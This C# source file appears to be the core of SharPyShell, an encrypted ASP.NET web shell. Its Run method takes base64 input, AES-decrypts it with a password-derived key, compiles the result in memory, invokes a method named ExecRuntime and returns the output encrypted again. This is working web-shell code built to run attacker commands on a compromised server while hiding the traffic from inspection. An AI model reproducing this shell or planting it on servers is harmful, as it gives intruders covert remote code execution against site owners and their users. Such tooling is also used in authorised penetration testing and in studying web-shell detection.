using System;
using System.Text;
using System.IO;
using System.Reflection;
using Microsoft.CSharp;
using System.CodeDom.Compiler;
using System.Security.Cryptography;

public class SharPy{
	private byte[] ConvertHexStringToByteArray(string hexString)
	{
		byte[] data = new byte[hexString.Length / 2];
		for (int index = 0; index < data.Length; index++)
		{
			string byteValue = hexString.Substring(index * 2, 2);
			data[index] = byte.Parse(byteValue, System.Globalization.NumberStyles.HexNumber);
		}
		return data; 
	}
	
	private byte[] AESEnc(byte[] plain, byte[] Key, byte[] IV)
	{
		byte[] encrypted;
		using (Rijndael rijAlg = Rijndael.Create())
		{
			rijAlg.Key = Key;
			rijAlg.IV = IV;
			ICryptoTransform encryptor = rijAlg.CreateEncryptor(rijAlg.Key, rijAlg.IV);
			using (MemoryStream msEncrypt = new MemoryStream())
			{
				using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
				{
					csEncrypt.Write(plain, 0, plain.Length);
					
				}
			encrypted = msEncrypt.ToArray();
			}
		}
		return encrypted;
	}

	byte[] AESDec(byte[] encrypted, byte[] Key, byte[] IV)
	{
		byte[] plain;
		using (Rijndael rijAlg = Rijndael.Create())
		{
			rijAlg.Key = Key;
			rijAlg.IV = IV;
			ICryptoTransform decryptor = rijAlg.CreateDecryptor(rijAlg.Key, rijAlg.IV);
			using (MemoryStream msDecrypt = new MemoryStream(encrypted))
			{
				using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
				{
					using (StreamReader srDecrypt = new StreamReader(csDecrypt))
					{
						string sf = srDecrypt.ReadToEnd();
						plain = Encoding.UTF8.GetBytes(sf);
					}
				}
			}

		}
		return plain;
	}

	public string Run(string code, string password)
	{
		byte[] Key=ConvertHexStringToByteArray(password);
		byte[] IV= new byte[16];
		System.Array.Copy(Key, IV, 16);
		string output="";
		if(code!=null){
			byte[] decoded_request_byte=Convert.FromBase64String(code);
			byte[] runtime_code_byte=AESDec(decoded_request_byte, Key, IV);
			string runtime_code=Encoding.UTF8.GetString(runtime_code_byte);
			object runtime_exec_output = new object();
			CompilerResults results = null;
			try{
				CSharpCodeProvider provider = new CSharpCodeProvider();
				CompilerParameters compilerParams = new CompilerParameters();
				compilerParams.GenerateInMemory = true;
				compilerParams.GenerateExecutable = false;
				compilerParams.ReferencedAssemblies.Add("System.dll");	
				results = provider.CompileAssemblyFromSource(compilerParams, runtime_code);
				object o = results.CompiledAssembly.CreateInstance("SharPyShell");
				MethodInfo mi = o.GetType().GetMethod("ExecRuntime");
				runtime_exec_output = mi.Invoke(o, null);
			}
			catch(Exception exc){
				string exc_out_str = exc.ToString()+"\n\n{{{SharPyShellError}}}";
				for( int i=0; i<results.Errors.Count; i++ )                
					exc_out_str +=  i.ToString() + ": " + results.Errors[i].ToString();
				runtime_exec_output=Encoding.UTF8.GetBytes(exc_out_str);
			}
			byte[] output_runtime_code_enc=AESEnc((byte[])(runtime_exec_output), Key, IV);
			string output_runtime_code_enc_b64=Convert.ToBase64String(output_runtime_code_enc);
			output=output_runtime_code_enc_b64;
		}
		return output;
	}
}